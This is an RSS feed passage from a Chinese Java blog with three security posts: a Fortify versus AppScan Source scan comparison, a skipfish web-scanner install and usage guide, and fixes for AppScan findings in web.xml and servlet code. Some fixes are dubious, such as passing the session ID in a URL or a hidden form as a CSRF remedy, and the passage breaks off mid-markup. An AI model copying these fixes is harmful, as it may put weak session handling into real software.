GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/09/16/417976.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/417976.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/09/16/417976.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/417976.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/417976.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">1、漏洞总数</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　AppScan Source：91</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Fortify：121</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　2、Disclaimer.htm:34(Cross-Site Scripting:DOM)的漏洞Fortify能扫描出来，AppScan Source扫描不出来</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　另外，Fortify能扫描出比较多Persistent类型的XSS漏洞</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　并且归类比较好（分DOM、Persistent、Reflected类型列出）</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　3、AdminLoginServlet.java:35(Password Management:Hardcoded Password)的漏洞Fortify能扫描出来，AppScan Source扫描不出来</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　4、Fortify扫出的DBUtil.java:238(Access Control:Database)在AppScan中被归类到<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>&nbsp;Injection</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　5、admin.jsp:18(Password Management:Empty Password)属于误报</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;script language="javascript"&gt;</div><div style="word-break: break-all; margin: 10px 0px;">function confirmpass(myform)</div><div style="word-break: break-all; margin: 10px 0px;">{</div><div style="word-break: break-all; margin: 10px 0px;">if (myform.password1.value.length &amp;&amp; (myform.password1.value==myform.password2.value))</div><div style="word-break: break-all; margin: 10px 0px;">{</div><div style="word-break: break-all; margin: 10px 0px;">return true;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">else</div><div style="word-break: break-all; margin: 10px 0px;">{</div><div style="word-break: break-all; margin: 10px 0px;">myform.password1.value="";</div><div style="word-break: break-all; margin: 10px 0px;">myform.password2.value="";</div><div style="word-break: break-all; margin: 10px 0px;">myform.password1.focus();</div><div style="word-break: break-all; margin: 10px 0px;">alert ("Passwords do not match");</div><div style="word-break: break-all; margin: 10px 0px;">return false;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/script&gt;</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　6、Fortify会报比较多这类问题：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">Code Correctness：Class Does Not Implement equals</div><div style="word-break: break-all; margin: 10px 0px;">Hardcoded Domain in HTML</div><div style="word-break: break-all; margin: 10px 0px;">Hidden Field</div><div style="word-break: break-all; margin: 10px 0px;">J2EE Bad Practices</div><div style="word-break: break-all; margin: 10px 0px;">J2EE Misconfiguration</div><div style="word-break: break-all; margin: 10px 0px;">Missing Check against Null</div><div style="word-break: break-all; margin: 10px 0px;">Password Management:Password in Comment</div><div style="word-break: break-all; margin: 10px 0px;">Poor Error Handling</div><div style="word-break: break-all; margin: 10px 0px;">System Information Leak:Incomplete Servlet Error Handling</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　7、Fortify会报比较多transfer.jsp:32(Cross-Site Request Forgery)这类CSRF的问题，而AppScan Source没有扫出来</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　8、Fortify有扫出ServletUtil.java(Missing XML Validation)的问题，而AppScan Source没有扫出来</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　9、Fortify有扫出AdminServlet.java:65(Redundant Null Check)的问题，而AppScan Source没有扫出来</div><img src ="http://www.blogjava.net/qileilove/aggbug/417976.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-09-16 09:50 <a href="http://www.blogjava.net/qileilove/archive/2014/09/16/417976.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>谷歌web站点安全扫描软件安装、配置和使用</title><link>http://www.blogjava.net/qileilove/archive/2014/08/21/417176.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 21 Aug 2014 01:49:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/08/21/417176.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/417176.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/08/21/417176.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/417176.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/417176.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　一：简介</strong></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">skipfish</strong></u></a>是什么？</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Skipfish是一个积极的Web应用程序的安全性侦察工具。 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探头。 然后，将得到的地图是带注释的与许多活性（但希望非破坏性的）安全检查的输出。 最终报告工具生成的是，作为一个专业的网络应用程序安全评估的基础。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">二：部署安装</strong></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　2.1：部署环境</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　[root@cn-ptmind skipfish-read-only]# uname -a</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Linux</strong></u></a>&nbsp;cn-ptmind 2.6.32-220.el6.x86_64 #1 SMP Tue Dec 6 19:48:22 GMT 2011 x86_64 x86_64 x86_64 GNU/Linux</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　[root@cn-ptmind skipfish-read-only]# more /etc/redhat-release</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　CentOS release 6.2 (Final)</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　2.2：安装skipfish依赖包：</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　yum -y install gcc gcc-c++ autoconf libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxml2 libxml2-devel zlib zlib-devel glibc glibc-devel glib2 glib2-devel bzip2 bzip2-devel zip unzip ncurses ncurses-devel curl curl-devel e2fsprogs e2fsprogs-devel krb5-devel libidn libidn-devel openssl openssh openssl-devel nss_ldap openldap openldap-devel openldap-clients openldap-servers libxslt-devel libevent-devel ntp &nbsp;libtool-ltdl bison libtool vim-enhanced python wget lsof iptraf strace lrzsz kernel-devel kernel-headers pam-devel Tcl/Tk &nbsp;cmake &nbsp;ncurses-devel bison setuptool popt-devel rsynx openssh system-config-network-tui svn</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　2.3：下载skipfish</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　svn checkout http://skipfish.googlecode.com/svn/trunk/ skipfish-read-only</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　#进入目录</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　cd skipfish-read-only</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　#执行make 编译，生成skipfish 命令。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　make</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　三：网站扫面实例</strong></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　./skipfish -o ptengine http://www.ptengine.com</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　# -o 选项制定生成扫描报告文件夹</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　#将报告文件夹进行打包</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　tar -cvf ptengine.tar ptengine</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　#将压缩包下载到本地</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　sz -bey ptengine.tar</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　扫描报告下载到本地PC后并解压，打开文件夹，找到index.html文件，用浏览器打开，即可查看扫描报告。</div><img src ="http://www.blogjava.net/qileilove/aggbug/417176.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-08-21 09:49 <a href="http://www.blogjava.net/qileilove/archive/2014/08/21/417176.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Appscan安全漏洞修复</title><link>http://www.blogjava.net/qileilove/archive/2014/08/18/417062.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 18 Aug 2014 02:11:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/08/18/417062.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/417062.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/08/18/417062.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/417062.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/417062.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">1.会话标识未更新：登录页面加入以下代码</strong></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　request.getSession(true).invalidate();//清空session</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Cookie cookie = request.getCookies()[0];//获取cookie</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　cookie.setMaxAge(0);//让cookie过期</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　request.getSession(true).invalidate();//清空session</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Cookie cookie = request.getCookies()[0];//获取cookie</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　cookie.setMaxAge(0);//让cookie过期</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　不是很明白session的机制，高手路过可以指教一下。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　2.跨站点请求伪造：</strong></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在出错的url加参数sessionid。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　response.getWriter().write( "&lt;script&gt;parent.location.href='dbase/admin/loginJsp.action?sessionId="+sessionId+"'&lt;/script&gt;");</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　response.getWriter().write( "&lt;script&gt;parent.location.href='dbase/admin/loginJsp.action?sessionId="+sessionId+"'&lt;/script&gt;");</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如果带参数报ssl错误，使用下面的post方式传值：</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">response.getWriter().write(</div><div style="word-break: break-all; margin: 10px 0px;">"&lt;script language=\"javascript\"&gt; " +</div><div style="word-break: break-all; margin: 10px 0px;">"document.write(\"&lt;form action=dbase/admin/loginJsp.action method=post name=formx1 style='display:none'&gt;\");" +</div><div style="word-break: break-all; margin: 10px 0px;">"document.write(\"&lt;input type=hidden name=name value='"+sessionId+"'\");" +</div><div style="word-break: break-all; margin: 10px 0px;">"document.write(\"&lt;/form&gt;\");" +</div><div style="word-break: break-all; margin: 10px 0px;">"document.formx1.submit();" +</div><div style="word-break: break-all; margin: 10px 0px;">"&lt;/script&gt;"</div><div style="word-break: break-all; margin: 10px 0px;">);</div><div style="word-break: break-all; margin: 10px 0px;">response.getWriter().write(</div><div style="word-break: break-all; margin: 10px 0px;">"&lt;script language=\"javascript\"&gt; " +</div><div style="word-break: break-all; margin: 10px 0px;">"document.write(\"&lt;form action=dbase/admin/loginJsp.action</div><div style="word-break: break-all; margin: 10px 0px;">method=post name=formx1 style='display:none'&gt;\");" +</div><div style="word-break: break-all; margin: 10px 0px;">"document.write(\"&lt;input type=hidden name=name value='"+sessionId+"'\");" +</div><div style="word-break: break-all; margin: 10px 0px;">"document.write(\"&lt;/form&gt;\");" +</div><div style="word-break: break-all; margin: 10px 0px;">"document.formx1.submit();" +</div><div style="word-break: break-all; margin: 10px 0px;">"&lt;/script&gt;"</div><div style="word-break: break-all; margin: 10px 0px;">);</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">3.启用不安全HTTP方法</strong></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　修改<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">web</strong></u></a>工程中或者服务器web.xml,增加安全配置信息，禁用不必要HTTP方法</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;security-constraint&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;web-resource-collection&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;url-pattern&gt;/*&lt;/url-pattern&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;http-method&gt;PUT&lt;/http-method&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;http-method&gt;DELETE&lt;/http-method&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;http-method&gt;HEAD&lt;/http-method&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;http-method&gt;OPTIONS&lt;/http-method&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;http-method&gt;TRACE&lt;/http-method&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/web-resource-collection&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;auth-constraint&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/auth-constraint&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/security-constraint&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;login-config&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;auth-method&gt;BASIC&lt;/auth-method&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/login-config&gt;</div></td></tr></tbody></table><div style="word-break: break-all; margin: 10px 0px;">　　修改web工程中或者服务器web.xml,增加安全配置信息，禁用不必要HTTP方法</div><div style="word-break: break-all; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;security-constraint&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;web-resource-collection&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;url-pattern&gt;/*&lt;/url-pattern&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;http-method&gt;PUT&lt;/http-method&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;http-method&gt;DELETE&lt;/http-method&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;http-method&gt;HEAD&lt;/http-method&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;http-method&gt;OPTIONS&lt;/http-method&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;http-method&gt;TRACE&lt;/http-method&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/web-resource-collection&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;auth-constraint&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/auth-constraint&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/security-constraint&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;login-config&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;auth-method&gt;BASIC&lt;/auth-method&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/login-config&gt;</div></td></tr></tbody></table></div><div style="word-break: break-all; margin: 10px 0px;">　　4.已解密登录请求</div><div style="word-break: break-all; margin: 10px 0px;">　　配置SSL，具体见http://serisboy.iteye.com/admin/blogs/1320231</div><div style="word-break: break-all; margin: 10px 0px;">　　在web.xml加入如下配置。</div><div style="word-break: break-all; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;security-constraint&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;web-resource-collection &gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;web-resource-name &gt;SSL&lt;/web-resource-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;url-pattern&gt;/*&lt;/url-pattern&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/web-resource-collection&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;user-data-constraint&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;transport-guarantee&gt;CONFIDENTIAL&lt;/transportguarantee&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/user-data-constraint&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/security-constraint&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;security-constraint&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;web-resource-collection &gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;web-resource-name &gt;SSL&lt;/web-resource-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;url-pattern&gt;/*&lt;/url-pattern&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/web-resource-collection&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;user-data-constraint&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;transport-guarantee&gt;CONFIDENTIAL&lt;/transportguarantee&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/user-data-constraint&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/security-constraint&gt;</div></td></tr></tbody></table></div><div style="word-break: break-all; margin: 10px 0px;">　　5.高速缓存的ssl页面</div><div style="word-break: break-all; margin: 10px 0px;">　　页面</div><div style="word-break: break-all; margin: 10px 0px;">　　&lt;meta http-equiv="Pragma" contect="no-cache"&gt;</div><div style="word-break: break-all; margin: 10px 0px;">　　页面</div><div style="word-break: break-all; margin: 10px 0px;">　　&lt;meta http-equiv="Pragma" contect="no-cache"&gt;</div><div style="word-break: break-all; margin: 10px 0px;">　　response.setHeader("Pragma", "No-cache");</div><div style="word-break: break-all; margin: 10px 0px;">　　response.setHeader("Pragma", "No-cache");</div><div style="word-break: break-all; margin: 10px 0px;">　　6.目录列表</div><div style="word-break: break-all; margin: 10px 0px;">　　配置文件目标拒绝访问。</div><div style="word-break: break-all; margin: 10px 0px;">　　在conf/web.xml下:</div><div style="word-break: break-all; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-name&gt; default &lt;/servlet-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-class&gt; org.apache.catalina.servlets.DefaultServlet &lt;/servlet-class&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;init-param&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;param-name&gt; debug &lt;/param-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;param-value&gt; 0 &lt;/param-value&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/init-param&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;init-param&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;param-name&gt; listings &lt;/param-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;param-value&gt; false &lt;/param-value&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/init-param&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;load-on-startup&gt; 1 &lt;/load-on-startup&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/servlet&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-name&gt; default &lt;/servlet-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-class&gt; org.apache.catalina.servlets.DefaultServlet &lt;/servlet-class&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;init-param&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;param-name&gt; debug &lt;/param-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;param-value&gt; 0 &lt;/param-value&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/init-param&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;init-param&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;param-name&gt; listings &lt;/param-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;param-value&gt; false &lt;/param-value&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/init-param&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;load-on-startup&gt; 1 &lt;/load-on-startup&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/servlet&gt;</div></td></tr></tbody></table></div><div style="word-break: break-all; margin: 10px 0px;">　　把listings对应的value设置为fasle.</div><div style="word-break: break-all; margin: 10px 0px;">　　或者把上面的这个servlet加到你的虚拟路径下的web-inf/web.xml中,把servlet-name改为其它的,再加一下servlet-mapping</div><div style="word-break: break-all; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: 